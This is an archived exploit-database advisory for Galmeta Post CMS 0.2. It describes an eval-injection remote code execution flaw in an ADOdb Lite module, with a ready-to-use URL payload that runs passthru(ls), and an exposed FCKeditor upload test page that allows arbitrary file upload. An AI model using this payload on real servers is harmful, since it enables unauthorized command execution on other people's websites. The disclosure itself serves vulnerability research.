Galmeta Post CMS 0.2 - Remote Code Execution / Arbitrary File Upload

Author: GoLd_M
type: webapps
platform: php
port: 
date_added: 2008-09-22 
date_updated: 2016-12-09 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.compost_blog_0-2.zip

###################################################################################
## Galmeta Post CMS <= 0.2 Remote Code Execution / Arbitrary File Upload
## Script : http://downloads.sourceforge.net/galmetapost
## You Can Get Multiple Local File Inclusion Vulnerabilities To This Script
## From Here http://www.milw0rm.com/exploits/5944 By CWH Underground
###################################################################################
###################################################################################
###################################################################################
## Vulns & POC :
##  1- Remote Code Execution Vulnerability In \_lib\adodb_lite\adodb-perf-module.inc.php
##  In Line 20 :
##  eval('class perfmon_parent_EXTENDER extends ' . $last_module . '_ADOConnection { }');
##                    -----------------------------------
##  Ex : /_lib/adodb_lite/adodb-perf-module.inc.php?last_module=t{};%20class%20t{};passthru(ls);//
###################################################################################
###################################################################################
###################################################################################
##  2- (FCKeditor) Remote Arbitrary File Upload In \_lib\fckeditor\editor\filemanager\upload\test.html
##                    -----------------------------------
##  Ex : /_lib/fckeditor/editor/filemanager/upload/test.html
##  Restrict And Grant Only Trusted Users Access To The Resources.
###################################################################################

# milw0rm.com [2008-09-23]